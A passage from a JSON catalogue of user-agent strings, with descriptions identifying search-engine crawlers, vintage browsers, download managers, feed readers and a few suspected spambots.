system\",\"ua\":\"Mozilla\\/5.0 (compatible; SYCLIKControl\\/LinkChecker;)\"},{\"description\":\"Synoo web directory robot\",\"ua\":\"Mozilla\\/5.0 (compatible; Synoobot\\/0.9; http:\\/\\/www.synoo.com\\/search\\/bot.html)\"},{\"description\":\"Theophrastus Internet Spider for a basic search engine project\",\"ua\":\"Mozilla\\/5.0 (compatible; Theophrastus\\/x.x; http:\\/\\/users.cs.cf.ac.uk\\/N.A.Smith\\/theophrastus.php)\"},{\"description\":\"Interseek - Java search engine technology used for Pogodak search\",\"ua\":\"Mozilla\\/5.0 (compatible; TridentSpider\\/3.1)\"},{\"description\":\"WiseGuys robot\",\"ua\":\"Mozilla\\/5.0 (compatible; Vagabondo\\/2.1; webcrawler at wise-guys dot nl; http:\\/\\/webagent.wise-guys.nl\\/)\"},{\"description\":\"Webdunia search (India) robot\",\"ua\":\"Mozilla\\/5.0 (compatible; Webduniabot\\/1.0; +http:\\/\\/search.webdunia.com\\/bot.aspx)\"},{\"description\":\"phpwebbrain online bookmark service (Germany)\",\"ua\":\"Mozilla\\/5.0 (compatible; Windows NT 5.0; phpwebbrainBot\\/0.1 - http:\\/\\/www.monsterli.ch\\/phpwebbrain\\/)\"},{\"description\":\"WORIO (beta) search for computer scientists and programmers using Heritrix open-source crawler\",\"ua\":\"Mozilla\\/5.0 (compatible; worio bot heritrix\\/1.10.0 +http:\\/\\/worio.com)\"},{\"description\":\"Kathune spider for World of Warcraft guild data. Used to power WoW Lemmings\",\"ua\":\"Mozilla\\/5.0 (compatible; WoW Lemmings Kathune\\/2.0;http:\\/\\/www.wowlemmings.com\\/kathune.html)\"},{\"description\":\"eXternalTest - Server and online services monitoring\",\"ua\":\"Mozilla\\/5.0 (compatible; XTbot\\/1.0v; +http:\\/\\/www.externaltest.com)\"},{\"description\":\"Yahoo \\/ Inktomi search robot\",\"ua\":\"Mozilla\\/5.0 (compatible; Yahoo! DE Slurp; http:\\/\\/help.yahoo.com\\/help\\/us\\/ysearch\\/slurp)\"},{\"description\":\"Inktomi robot (202.160.180.xxx) for Yahoo China\",\"ua\":\"Mozilla\\/5.0 (compatible; Yahoo! Slurp China; http:\\/\\/misc.yahoo.com.cn\\/help.html)\"},{\"description\":\"Inktomi robot for Yahoo (via 66.196.xx.xxx)\",\"ua\":\"Mozilla\\/5.0 (compatible; Yahoo! Slurp; http:\\/\\/help.yahoo.com\\/help\\/us\\/ysearch\\/slurp)\"},{\"description\":\"Yesup Seo - Toronto SEO Service\",\"ua\":\"Mozilla\\/5.0 (compatible; YesupBot\\/1.0; +http:\\/\\/www.yesup.net\\/bot.html)\"},{\"description\":\"Yoono - community based search (193.110.140.xxx \\/ 194.0.179.[x]xx)\",\"ua\":\"Mozilla\\/5.0 (compatible; Yoono; http:\\/\\/www.yoono.com\\/)\"},{\"description\":\"Youdao search (China) robot\",\"ua\":\"Mozilla\\/5.0 (compatible; YoudaoBot\\/1.0; http:\\/\\/www.youdao.com\\/help\\/webmaster\\/spider\\/; )\"},{\"description\":\"Zenbot robot for the Southern African Zen search service\",\"ua\":\"Mozilla\\/5.0 (compatible; Zenbot\\/1.3; +http:\\/\\/zen.co.za\\/webmasters\\/)\"},{\"description\":\"Powerset Natural Language Search crawler (under development) using Heritrix via Amazon Web Services\",\"ua\":\"Mozilla\\/5.0 (compatible; zermelo +http:\\/\\/www.powerset.com) [email:paul@page-store.com,crawl@powerset.com]\"},{\"description\":\"Heritrix - The Internet Archive's open-source crawler (207.241.225.2xx)\",\"ua\":\"Mozilla\\/5.0 (compatible;archive.org_bot\\/1.7.1; collectionId=316; Archive-It; +http:\\/\\/www.archive-it.org)\"},{\"description\":\"Wayback Machine Internet Archive crawler\",\"ua\":\"Mozilla\\/5.0 (compatible;archive.org_bot\\/heritrix-1.9.0-200608171144 +http:\\/\\/pandora.nla.gov.au\\/crawl.html)\"},{\"description\":\"FindITAnswers - Search engine for software developers\",\"ua\":\"Mozilla\\/5.0 (compatible;FindITAnswersbot\\/1.0;+http:\\/\\/search.it-influentials.com\\/bot.htm)\"},{\"description\":\"Mainseek search (Poland) robot\",\"ua\":\"Mozilla\\/5.0 (compatible;MAINSEEK_BOT)\"},{\"description\":\"MozShot - Technical demo to take screenshot of any URL\",\"ua\":\"Mozilla\\/5.0 (Gecko\\/20070310 Mozshot\\/0.0.20070628; http:\\/\\/mozshot.nemui.org\\/)\"},{\"description\":\"Mozilla Firefox 3.0 beta (Gran Paradiso) for MacOS\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9b5) Gecko\\/2008032619 Firefox\\/3.0b5\"},{\"description\":\"Chimera browser (Mozilla\\/Gecko engine) - now Camino Mac PowerPC\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko\\/20021219 Chimera\\/0.6 \"},{\"description\":\"Camino browser (Mozilla\\/Gecko engine) - ex Chimera Mac PowerPC\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko\\/20030306 Camino\\/0.7\"},{\"description\":\"OmniWeb 5.x.x Mac OS X browser\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit\\/xx (KHTML like Gecko) OmniWeb\\/v5xx.xx\"},{\"description\":\"Safari 1.2x browser (Mozilla\\/Gecko engine) MAC OS X\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit\\/xxx.x (KHTML like Gecko) Safari\\/12x.x\"},{\"description\":\"Netscape 6.x Mac PowerPC\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC; en-US; rv:0.9.2) Gecko\\/20010726 Netscape6\\/6.1\"},{\"description\":\"unknown robot from gw.ocg-corp.com\",\"ua\":\"Mozilla\\/5.0 (research@mediatrec.com)\"},{\"description\":\"Sage - RSS and Atom feed reader extension for Mozilla Firefox\",\"ua\":\"Mozilla\\/5.0 (Sage)\"},{\"description\":\"Inktomi (Hotbot-Lycos - NBCi etc.) robot\",\"ua\":\"Mozilla\\/5.0 (Slurp\\/cat; slurp@inktomi.com; http:\\/\\/www.inktomi.com\\/slurp.html)\"},{\"description\":\"Inktomi (Hotbot-Lycos - NBCi etc.) robot\",\"ua\":\"Mozilla\\/5.0 (Slurp\\/si; slurp@inktomi.com; http:\\/\\/www.inktomi.com\\/slurp.html)\"},{\"description\":\"Opera 5.x SunOS\",\"ua\":\"Mozilla\\/5.0 (SunOS 5.8 sun4u; U) Opera 5.0 [en]\"},{\"description\":\"Twiceler experimental web crawler\",\"ua\":\"Mozilla\\/5.0 (Twiceler-0.9 http:\\/\\/www.cuill.com\\/twiceler\\/robot.html)\"},{\"description\":\"Some spambot from Romania (82.208.139.1xx & 86.123.65.xx) - Maybe email harvesting\",\"ua\":\"Mozilla\\/5.0 (Version: xxxx Type:xx)\"},{\"description\":\"GenieKnows.com search robot (64.5.245.xx \\/ 64.5.220.xxx)\",\"ua\":\"Mozilla\\/5.0 (wgao@genieknows.com)\"},{\"description\":\"Netscape 6.x Win98\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko\\/20010726 Netscape6\\/6.1\"},{\"description\":\"Firebird browser (Mozilla\\/Gecko engine) - ex Phoenix Win98\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Win98; en-US; rv:x.xx) Gecko\\/20030423 Firebird Browser\\/0.6\"},{\"description\":\"Beonex Communicator browser (Mozilla\\/Gecko engine)\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Win9x; en; Stable) Gecko\\/20020911 Beonex\\/0.8.1-stable\"},{\"description\":\"Healthline health related search robot (72.5.115.xx)\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.7) NimbleCrawler 1.11 obeys UserAgent NimbleCrawler For problems contact: crawler_at_dataalchemy.com\"},{\"description\":\"Google Chrome browser based on WebKit (Safari)\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit\\/525.19 (KHTML, like Gecko) Chrome\\/0.2.153.1 Safari\\/525.19\"},{\"description\":\"Flock web browser built on Mozilla technologies\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko\\/20060731 Firefox\\/1.5.0.5 Flock\\/0.7.4.1\"},{\"description\":\"Megaupload Mega Manager - Download manager plugin for Firefox\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko\\/20071127 Firefox\\/2.0.0.4\\/Megaupload x.0\"},{\"description\":\"Orca browser - based on Gecko\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko\\/2008092215 Firefox\\/3.0.1 Orca\\/1.1 beta 3\"},{\"description\":\"Firefox browser (Mozilla\\/Gecko engine) - ex Firebird WinXP\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x) Gecko\\/20041107 Firefox\\/x.x\"},{\"description\":\"Firebird browser (Mozilla\\/Gecko engine) - ex Phoenix WinXP\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.xx) Gecko\\/20030504 Mozilla Firebird\\/0.6\"},{\"description\":\"Mnenhy - enhanced mail & news Mozilla based browser\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.xxx) Gecko\\/20041027 Mnenhy\\/0.6.0.104\"},{\"description\":\"Voila.fr robot\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1) VoilaBot BETA 1.2 (support.voilabot@orange-ftgroup.com)\"},{\"description\":\"Voila.fr robot\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1) VoilaBot BETA 1.2 (support.voilabot@orange-ftgroup.com)\"},{\"description\":\"Mozilla Firefox 3.0 beta (Gran Paradiso) for Win\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b5) Gecko\\/2008032620 Firefox\\/3.0b5\"},{\"description\":\"Tiscali Communicator - Online services suite\",\"ua\":\"Mozilla\\/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3) Gecko\\/20070309 Firefox\\/2.0.0.3\"},{\"description\":\"Healthline health related search robot (72.5.115.xx)\",\"ua\":\"Mozilla\\/5.0 (Windows;) NimbleCrawler 1.12 obeys UserAgent NimbleCrawler For problems contact: crawler@health\"},{\"description\":\"Healthline health related search robot (72.5.115.xx)\",\"ua\":\"Mozilla\\/5.0 (Windows;) NimbleCrawler 1.12 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com\"},{\"description\":\"Kazehakase - Gecko based browser (Japan)\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; U;rv: 1.7.13) Gecko\\/20070322 Kazehakase\\/0.4.4.1\"},{\"description\":\"Netscape 6.x Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko\\/20010131 Netscape6\\/6.01\"},{\"description\":\"SeaMonkey browser suite (ex Mozilla) on Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; de-AT; rv:1.8.0.2) Gecko\\/20060309 SeaMonkey\\/1.0\"},{\"description\":\"Epiphany (Mozilla\\/Gecko engine) browser Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko\\/20050405 Epiphany\\/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)\"},{\"description\":\"Nautilus (developed by Eazel.com) 1.x Browser Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; Nautilus\\/1.0Final) Gecko\\/20020408\"},{\"description\":\"Mozilla (Gecko) 0.9x browser Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko\\/20010801\"},{\"description\":\"Spinn3r social network crawler\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Spinn3r (Spinn3r 3.1); http:\\/\\/spinn3r.com\\/robot) Gecko\\/20021130\"},{\"description\":\"Phoenix 0.3 browser (Mozilla\\/Gecko engine) - now Firebird Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.2b) Gecko\\/20021007 Phoenix\\/0.3\"},{\"description\":\"Epiphany (Mozilla\\/Gecko engine) browser Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko\\/20040413 Epiphany\\/1.2.1\"},{\"description\":\"Snap Firefox Search Plugin\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko\\/20060909 Firefox\\/1.5.0.7 SnapPreviewBot\"},{\"description\":\"Bon Echo Alpha - developer preview of future Firefox browser\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko\\/20061129 BonEcho\\/2.0\"},{\"description\":\"IceWeasel - the GNU version of the Firefox browser\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko\\/20061205 Iceweasel\\/2.0.0.1 (Debian-2.0.0.1+dfsg-2)\"},{\"description\":\"Mozilla Firefox 3.0 beta (Gran Paradiso) for Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US; rv:1.9a8) Gecko\\/2007100619 GranParadiso\\/3.0a8\"},{\"description\":\"Galeon 1.x Browser Linux\",\"ua\":\"Mozilla\\/5.0 Galeon\\/1.0.2 (X11; Linux i686; U;) Gecko\\/20011224\"},{\"description\":\"gURLChecker - GNOME link checking tool\",\"ua\":\"Mozilla\\/5.0 gURLChecker\\/0.x.x (Linux)\"},{\"description\":\"URL Spider - used by usww.net\",\"ua\":\"Mozilla\\/5.0 URL-Spider\"},{\"description\":\"W8net spider\",\"ua\":\"Mozilla\\/5.0 usww.com-Spider-for-w8.net\"},{\"description\":\"GenieKnows.com search robot (64.5.245.xx \\/ 64.5.220.xxx)\",\"ua\":\"Mozilla\\/5.0 wgao@genieknows.com\"},{\"description\":\"axxus.de German business directory\",\"ua\":\"Mozilla\\/5.0 whoiam [http:\\/\\/www.axxus.de\\/]\"},{\"description\":\"Yuntis : Collaborative Web Resource Categorization and Ranking Project robot\",\"ua\":\"Mozilla\\/5.0 [en] (compatible; Gulper Web Bot 0.2.4 www.ecsl.cs.sunysb.edu\\/~maxim\\/cgi-bin\\/Link\\/GulperBot)\"},{\"description\":\"MetaExplorer project's MetaQuerier robot\",\"ua\":\"MQbot metaquerier.cs.uiuc.edu\\/crawler\"},{\"description\":\"MetaExplorer project's MetaQuerier robot\",\"ua\":\"MQBOT\\/Nutch-0.9-dev (MQBOT Nutch Crawler; http:\\/\\/falcon.cs.uiuc.edu; mqbot@cs.uiuc.edu)\"},{\"description\":\"MS Frontpage 4.x\",\"ua\":\"MSFrontPage\\/4.0\"},{\"description\":\"Some faked UA - maybe for a download manager\",\"ua\":\"MSIE 4.0 (Win95)\"},{\"description\":\"unknown robot from gw.ocg-corp.com (209.126.176.x)\",\"ua\":\"MSIE-5.13 (larbin@unspecified.mail)\"},{\"description\":\"MSN media search robot\",\"ua\":\"msnbot-media\\/1.0 (+http:\\/\\/search.msn.com\\/msnbot.htm)\"},{\"description\":\"Windows Live product search (Beta) robot\",\"ua\":\"msnbot-Products\\/1.0 (+http:\\/\\/search.msn.com\\/msnbot.htm)\"},{\"description\":\"MSN Search robot - 131.107.xxx.xxx 204.95.96.xxx - 204.95.111.xxx 207.46.xxx.xxx\",\"ua\":\"MSNBOT\\/0.xx (http:\\/\\/search.msn.com\\/msnbot.htm)\"},{\"description\":\"MSN Search robot - 131.107.xxx.xxx 204.95.96.xxx - 204.95.111.xxx 207.46.xxx.xxx\",\"ua\":\"msnbot\\/x.xx ( http:\\/\\/search.msn.com\\/msnbot.htm)\"},{\"description\":\"Microsoft search for mobiles\",\"ua\":\"MSNBOT_Mobile MSMOBOT Mozilla\\/2.0 (compatible; MSIE 4.02; Windows CE; Default)\"},{\"description\":\"MSN Search robot - 131.107.xxx.xxx 204.95.96.xxx - 204.95.111.xxx 207.46.xxx.xxx\",\"ua\":\"MSNPTC\\/1.0\"},{\"description\":\"Microsoft proxy server\",\"ua\":\"MSProxy\\/2.0\"},{\"description\":\"MacEdition CodeBitch link checking\",\"ua\":\"MSRBOT\"},{\"description\":\"Microsoft MSRBot\",\"ua\":\"MSRBOT (http:\\/\\/research.microsoft.com\\/research\\/sv\\/msrbot)\"},{\"description\":\"StreamBox VCR user agent\",\"ua\":\"Mulder, VCR-1.0\"},{\"description\":\"Multiblocker (Fantomaster) anonymity software user\",\"ua\":\"multiBlocker browser\"},{\"description\":\"MultiCrawler for DERI Galway's Semantic Web Search Engine cluster\",\"ua\":\"multicrawler ( http:\\/\\/sw.deri.org\\/2006\\/04\\/multicrawler\\/robots.html)\"},{\"description\":\"Virginia Tech Digital Library Research Laboratory robot\",\"ua\":\"MultiText\\/0.1\"},{\"description\":\"SoMusical! musical directory link checking\",\"ua\":\"MusicWalker2.0 ( http:\\/\\/www.somusical.com)\"},{\"description\":\"Unknown bad bot from diff. Taiwanese IPs\",\"ua\":\"MVAClient\"},{\"description\":\"Windows HTTP Services (WinHTTP)\",\"ua\":\"My WinHTTP Connection\"},{\"description\":\"unknown user robot (24.124.34.42)\",\"ua\":\"myDaemon\"},{\"description\":\"GetRight download manager\",\"ua\":\"MyGetRight\\/1.0.0\"},{\"description\":\"GetRight download manager\",\"ua\":\"MyGetRight\\/1.0b\"},{\"description\":\"Mylinea France web catalogue crawler\",\"ua\":\"Mylinea.com Crawler 2.0\"},{\"description\":\"VDOG - SEO webdirecory (Germany) link checking\",\"ua\":\"mylinkcheck\\/1.02\"},{\"description\":\"Blogbot (Germany) robot\",\"ua\":\"Naamah 1.0.1\\/Blogbot (http:\\/\\/blogbot.de\\/)\"},{\"description\":\"Blogbot (Germany) robot\",\"ua\":\"Naamah 1.0a\\/Blogbot (http:\\/\\/blogbot.de\\/)\"},{\"description\":\"Naver Japan \\/ Korea robot \",\"ua\":\"NABOT\\/5.0\"},{\"description\":\"Naver Japan \\/ Korea robot \",\"ua\":\"nabot_1.0\"},{\"description\":\"Badbot searching for Wordpress wp-login.php\",\"ua\":\"NameOfAgent (CMS Spider)\"},{\"description\":\"naoFavicon4IE\",\"ua\":\"naoFavicon4IE\\/1.xx\"},{\"description\":\"Unknown spambot \\/ harvester from diff. IPs\",\"ua\":\"NASA Search 1.0\"},{\"description\":\"Nationaldirectory spider\",\"ua\":\"NationalDirectory-WebSpider\\/1.3\"},{\"description\":\"Nationaldirectory spider\",\"ua\":\"NationalDirectoryAddURL\\/1.0\"},{\"description\":\"Naver Japan \\/ Korea robot\",\"ua\":\"NaverBot-1.0 (NHN Corp. \\/ +82-2-3011-1954 \\/ nhnbot@naver.com)\"},{\"description\":\"Naver Japan \\/ Korea robot\",\"ua\":\"NaverBot_dloader\\/1.5\"},{\"description\":\"Navisso closed beta robot (69.41.162.1xx)\",\"ua\":\"NavissoBot\"},{\"description\":\"Navisso closed beta robot (69.41.162.1xx)\",\"ua\":\"NavissoBot\\/1.7  (+http:\\/\\/navisso.com\\/)\"},{\"description\":\"Vias Information Archival robot\",\"ua\":\"NCSA Beta 1 (http:\\/\\/vias.ncsa.uiuc.edu\\/viasarchivinginformation.html)\"},{\"description\":\"Nebulla.info distributed crawler (Germany)\",\"ua\":\"Nebullabot\\/2.2 (http:\\/\\/bot.nebulla.info)\"},{\"description\":\"NEC Researchindex robot - now CiteSeer.IST scientific document index\",\"ua\":\"NEC Research Agent -- compuman at research.nj.nec.com\"},{\"description\":\"rcn.com user agent ? NEC Researchindex robot ?\",\"ua\":\"NEC-Hayek\\/1.0\"},{\"description\":\"Net Seekr search robot\",\"ua\":\"Net-Seekr Bot\\/Net-Seekr Bot V1 (http:\\/\\/www.net-seekr.com)\"},{\"description\":\"NetAnts download manager\",\"ua\":\"NetAnts\\/1.2x\"},{\"description\":\"NetComplete IE browser package\",\"ua\":\"NETCOMplete\\/x.xx\"},{\"description\":\"Netinfo.bg search (Bulgaria) robot\",\"ua\":\"NetinfoBot\\/1.0 (http:\\/\\/netinfo.bg\\/netinfobot.html)\"},{\"description\":\"Netlookout internet notifier\",\"ua\":\"NetLookout\\/2.24\"},{\"description\":\"Netluchs (Germany) search (193.164.8.xx)\",\"ua\":\"Netluchs\\/0.8-dev ( ; http:\\/\\/www.netluchs.de\\/; ___don't___spam_me_@netluchs.de)\"},{\"description\":\"NetMechanic link checker\",\"ua\":\"NetMechanic Vx.0\"},{\"description\":\"NewsGator NetNewsWire - Mac RSS feed reader\",\"ua\":\"NetNewsWire\\/2.x (Mac OS X; http:\\/\\/ranchero.com\\/netnewswire\\/)\"},{\"description\":\"unknown InCom (216.0.107.xx) robot\",\"ua\":\"NetNoseCrawler\\/v1.0\"},{\"description\":\"Netprospector metasearch software\",\"ua\":\"Netprospector JavaCrawler\"},{\"description\":\"Netpumper download manager\",\"ua\":\"NetPumper\\/x.xx\"},{\"description\":\"Look.com robot (209.87.232.x)\",\"ua\":\"NetResearchServer(http:\\/\\/www.look.com)\"},{\"description\":\"IncyWincy search engine using DMOZ database\",\"ua\":\"NetResearchServer\\/x.x(loopimprovements.com\\/robot.html)\"},{\"description\":\"NetSeer search (beta) crawler via Amazon Web Services - see also Teemer\",\"ua\":\"NetSeer\\/Nutch-0.9 (NetSeer Crawler; http:\\/\\/www.netseer.com; crawler@netseer.com)\"},{\"description\":\"Wirtualna Polska \\/ Netsprint search (Poland) robot\",\"ua\":\"NetSprint -- 2.0\"},{\"description\":\"NetWhat Search crawler (69.9.167.1xx)\",\"ua\":\"NetWhatCrawler\\/0.06-dev (NetWhatCrawler from NetWhat.com; http:\\/\\/www.netwhat.com; support@netwhat.com)\"},{\"description\":\"Netzippy robot\",\"ua\":\"NetZippy\"},{\"description\":\"unknown\",\"ua\":\"NeuralBot\\/0.2\"},{\"description\":\"Unknown (12.238.4.xxx) attbi.com client robot\",\"ua\":\"newsearchengine (ThisUser@unspecified.mail)\"},{\"description\":\"FetchLinks plugin for NewsGator RSS reader\",\"ua\":\"NewsGator FetchLinks extension\\/0.2.0 (http:\\/\\/graemef.com)\"},{\"description\":\"NewsGator online RSS reader\",\"ua\":\"NewsGatorOnline\\/2.0 (http:\\/\\/www.newsgator.com; 1 subscribers)\"},{\"description\":\"Eliyon Crawler for Business People Search\",\"ua\":\"NextGenSearchBot 1 (for information visit http:\\/\\/www.eliyon.com\\/NextGenSearchBot)\"},{\"description\":\"Nextopia crawler\",\"ua\":\"NextopiaBOT (+http:\\/\\/www.nextopia.com) distributed crawler client beta v0.x\"},{\"description\":\"find your keywords - semantic search (Germany) robot\",\"ua\":\"NG-Search\\/0.90 (NG-SearchBot; http:\\/\\/www.ng-search.com;  )\"},{\"description\":\"Exalead (France) search robot (193.47.80.xx)\",\"ua\":\"NG\\/1.0\"},{\"description\":\"Exalead Websearch image crawler (193.47.80.xx)\",\"ua\":\"NG\\/4.0.1229\"},{\"description\":\"Unknown UA from PlanetLab distributed network\",\"ua\":\"nicebot\"},{\"description\":\"NicoZone childsafe search robot \",\"ua\":\"NICO\\/1.0\"},{\"description\":\"Nikita the Spider - Online HTML validation , link checking\",\"ua\":\"Nikita the Spider (http:\\/\\/NikitaTheSpider.com\\/)\"},{\"description\":\"Experimental LSI (?) robot from 140.233.69.xx (Middlebury.edu)\",\"ua\":\"NITLE Blog Spider\\/0.01\"},{\"description\":\"Download manager\",\"ua\":\"Nitro Downloader 1.x (www.klsofttools.com)\"},{\"description\":\"Noago spider\",\"ua\":\"Noago Spider\"},{\"description\":\"telefonica.es user robot\",\"ua\":\"Nocilla\\/1.0\"},{\"description\":\"Google WAP robot\",\"ua\":\"Nokia-WAPToolkit\\/1.2 googlebot(at)googlebot.com\"},{\"description\":\"Botmobi crawler for Find.mobi mobile search\",\"ua\":\"Nokia6300\\/2.0 (05.50) Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 (botmobi http:\\/\\/find.mobi\\/bot.html abuse@mtld.mobi)\"},{\"description\":\"YahooSeeker\\/M1A1-R2D2 - Yahoo mobile web crawling robot\",\"ua\":\"Nokia6610\\/1.0 (3.09) Profile\\/MIDP-1.0 Configuration\\/CLDC-1.0 (compatible;YahooSeeker\\/M1A1-R2D2; http:\\/\\/help.yahoo.com\\/help\\/us\\/ysearch\\/crawling\\/crawling-01.html)\"},{\"description\":\"Google WAP proxy\",\"ua\":\"Nokia7110\\/1.0 (05.01) (Google WAP Proxy\\/1.0)\"},{\"description\":\"Nokodo public beta search robot (67.18.222.xx)\",\"ua\":\"NokodoBot\\/1.x (+http:\\/\\/nokodo.com\\/bot.htm)\"},{\"description\":\"Burf.com UK Search Engine robot\",\"ua\":\"Norbert the Spider(Burf.com)\"},{\"description\":\"noXtrum search robot (Spain)\",\"ua\":\"noxtrumbot\\/1.0 (crawler@noxtrum.com)\"},{\"description\":\"Noyona job search (preview)\",\"ua\":\"noyona_0_1\"},{\"description\":\"Nameprotect copyright search robot (24.177.134.x)\",\"ua\":\"NP\\/0.1 (NP; http:\\/\\/www.nameprotect.com; npbot@nameprotect.com)\"},{\"description\":\"Nameprotect copyright search robot (24.177.134.x)\",\"ua\":\"NPBot (http:\\/\\/www.nameprotect.com\\/botinfo.html)\"},{\"description\":\"Nameprotect copyright search robot (24.177.134.x)\",\"ua\":\"NPBot-1\\/2.0\"},{\"description\":\"Nsauditor Network Security Auditor\",\"ua\":\"Nsauditor\\/1.x\"},{\"description\":\"NetShow Media Player = Windows Media Player 10\",\"ua\":\"NSPlayer\\/10.0.0.xxxx WMFSDK\\/10.0\"},{\"description\":\"Nsyght social search application\",\"ua\":\"nsyght.com\\/Nutch-1.0-dev (nsyght.com; Nsyght.com)\"},{\"description\":\"Nsyght social search application\",\"ua\":\"nsyght.com\\/Nutch-x.x (nsyght.com; search.nsyght.com)\"},{\"description\":\"NTT Directory robot\",\"ua\":\"nttdirectory_robot\\/0.9 (super-robot@super.navi.ocn.ne.jp)\"},{\"description\":\"Nucleus CMS SiteList link managing plugin\",\"ua\":\"Nucleus SiteList LinkChecker\\/1.1\"},{\"description\":\"nuSearch spider (84.9.136.xxx)\",\"ua\":\"nuSearch Spider <a href='http:\\/\\/www.nusearch.com'>www.nusearch.com<\\/a> (compatible; MSIE 4.01)\"},{\"description\":\"nuSearch spider (84.9.136.xxx)\",\"ua\":\"NuSearch Spider (compatible; MSIE 6.0)\"},{\"description\":\"nuSearch spider (84.9.136.xxx)\",\"ua\":\"NuSearch Spider www.nusearch.com\"},{\"description\":\"Nutch open source robot\",\"ua\":\"Nutch\"},{\"description\":\"Picapage search for handheld devices using Nutch\",\"ua\":\"Nutch crawler\\/Nutch-0.9 (picapage.com; admin@picapage.com)\"},{\"description\":\"Ayell Euronet business directory robot using Nutch\",\"ua\":\"Nutch\\/Nutch-0.9 (Eurobot; http:\\/\\/www.ayell.eu )\"},{\"description\":\"Netsweeper content filtering engine (66.207.120.2xx) powered by Nutch\",\"ua\":\"NutchCVS\\/0.06-dev (Nutch; http:\\/\\/www.nutch.org\\/docs\\/en\\/bot.html; nutch-agent@lists.sourceforge.net)\"},{\"description\":\"Nutch open source robot\",\"ua\":\"NutchCVS\\/0.0x-dev (Nutch; http:\\/\\/www.nutch.org\\/docs\\/bot.html; nutch-agent@lists.sourceforge.net)\"},{\"description\":\"Robot from University of Washington Computer Science & Engineering (128.208.6.2xx)\",\"ua\":\"NutchCVS\\/0.7.1 (Nutch running at UW; http:\\/\\/www.nutch.org\\/docs\\/en\\/bot.html; sycrawl@cs.washington.edu)\"},{\"description\":\"Amazon Elastic Compute Cloud (Amazon EC2) robot\",\"ua\":\"NutchEC2Test\\/Nutch-0.9-dev (Testing Nutch on Amazon EC2.; http:\\/\\/lucene.apache.org\\/nutch\\/bot.html; ec2test at lucene.com)\"},{\"description\":\"Nutch open source robot\",\"ua\":\"NutchOrg\\/0.0x-dev (Nutch; http:\\/\\/www.nutch.org\\/docs\\/bot.html; nutch-agent@lists.sourceforge.net)\"},{\"description\":\"Unknown robot using Nutch (maybe private crawling) via Cox network (70.187.130.25x)\",\"ua\":\"nutchsearch\\/Nutch-0.9 (Nutch Search 1.0; herceg_novi at yahoo dot com)\"},{\"description\":\"Unknown crawler from University of Washington - Computer science\",\"ua\":\"NutchVinegarCrawl\\/Nutch-0.8.1 (Vinegar; http:\\/\\/www.cs.washington.edu; eytanadar at gmail dot com)\"},{\"description\":\"Weblog bookwatch robot\",\"ua\":\"obidos-bot (just looking for books.)\"},{\"description\":\"Objects Search robot\",\"ua\":\"ObjectsSearch\\/0.01-dev (ObjectsSearch;http:\\/\\/www.ObjectsSearch.com\\/bot.html; support@thesoftwareobjects.com)\"},{\"description\":\"Objects Search robot\",\"ua\":\"ObjectsSearch\\/0.0x (ObjectsSearch; http:\\/\\/www.ObjectsSearch.com\\/bot.html; support@thesoftwareobjects.com)\"},{\"description\":\"Cobion Germany Brand Protection Services robot\",\"ua\":\"oBot ((compatible;Win32))\"},{\"description\":\"GlobalSpec Engineering Search robot (66.194.55.xxx)\",\"ua\":\"Ocelli\\/1.x (http:\\/\\/www.globalspec.com\\/Ocelli)\"},{\"description\":\"Octopus download manager\",\"ua\":\"Octopus\"},{\"description\":\"Octora blog or RSS information crawler - 